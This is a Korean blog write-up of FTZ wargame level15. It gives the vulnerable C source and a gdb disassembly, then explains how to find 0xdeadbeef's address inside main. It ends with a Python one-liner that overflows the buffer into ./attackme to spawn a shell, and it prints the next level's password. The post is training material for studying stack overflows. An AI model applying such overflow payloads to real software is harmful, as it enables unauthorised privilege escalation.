티스토리 뷰
힌트는 다음과 같다
#include <stdio.h>
main()
{ int crap;
int *check;
char buf[20];
fgets(buf,45,stdin);
if (*check==0xdeadbeef)
{
setreuid(3096,3096);
system("/bin/sh");
}
}
level15는 level14와 전체적인 코드는 비슷하지만
포인터 변수 check와 0xdeadbeef 를 비교하는게 다르다.
이번 문제는 포인터에 대한 이해가 요구되는 것 같다.
A가 39개까진 들어가고 40개부터는 Segmentation fault가 뜬다.
(gdb) disas main
Dump of assembler code for function main:
0x08048490 <main+0>: push ebp
0x08048491 <main+1>: mov ebp,esp
0x08048493 <main+3>: sub esp,0x38
0x08048496 <main+6>: sub esp,0x4
0x08048499 <main+9>: push ds:0x8049664
0x0804849f <main+15>: push 0x2d -> 45
0x080484a1 <main+17>: lea eax,[ebp-56]
0x080484a4 <main+20>: push eax
0x080484a5 <main+21>: call 0x8048360 <fgets>
0x080484aa <main+26>: add esp,0x10
0x080484ad <main+29>: mov eax,DWORD PTR [ebp-16]
0x080484b0 <main+32>: cmp DWORD PTR [eax],0xdeadbeef
0x080484b6 <main+38>: jne 0x80484dd <main+77>
0x080484b8 <main+40>: sub esp,0x8
0x080484bb <main+43>: push 0xc18
0x080484c0 <main+48>: push 0xc18
0x080484c5 <main+53>: call 0x8048380 <setreuid>
0x080484ca <main+58>: add esp,0x10
0x080484cd <main+61>: sub esp,0xc
0x080484d0 <main+64>: push 0x8048548
0x080484d5 <main+69>: call 0x8048340 <system>
0x080484da <main+74>: add esp,0x10
0x080484dd <main+77>: leave
0x080484de <main+78>: ret
0x080484df <main+79>: nop
End of assembler dump.
A를 39개 넣었을 때와
A를 40개 넣었을 때의 값들이다.
이 문제를 풀려면 0xdeadbeef가 존재하는 메모리 주소와 *check를 비교해야할 것이다.
그래서 우선 main의 메모리 값들을 보면 다음과 같다.
잘 보면 0x80484b0 주소 줄에 0xbeef3881 , 0x2575dead가 있다.
이걸 이용하면 될 것 같다.
0x80484b0에서 1씩 증가시켜 값들을 보면 0xbeef3881, 0xadbeef38, 0xdeadbeef 로 0xdeadbeef의 주소를 알 수 있다.
0xdeadbeef의 주소는 0x80484b2
이 주소를 이용해 A 40개를 넣어 buf와 dummy를 채워주고
0x80484b2를 little endian 방식으로 python 코드를 입력해주면 된다.
(python -c 'print "A"*40+"\xb2\x84\x04\x08"';cat) | ./attackme
Level16 Password is "about to cause mass".
'System > FTZ' 카테고리의 다른 글
[FTZ] level17 (0) | 2017.09.28 |
---|---|
[FTZ] level16 (0) | 2017.09.28 |
[FTZ] level14 (0) | 2017.09.25 |
[FTZ] level13 (3) | 2017.09.21 |
[FTZ] level12 (0) | 2017.09.20 |
- Total
- Today
- Yesterday
- wargame
- WebHacking
- 1번
- Los
- java
- 명령어
- c언어
- cobolt
- ftz
- MySQL
- 웹해킹
- 0xdeadbeef
- my-pass
- BOF
- lob
- pwnable
- 우분투
- webhacking.kr
- 워게임
- Lord of SQL Injection
- lord of sqlinjection
- 자바
- ubuntu
- 파이썬
- Python
- 설치
- wargame.kr
- pwnable.kr
- attackme
- C
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |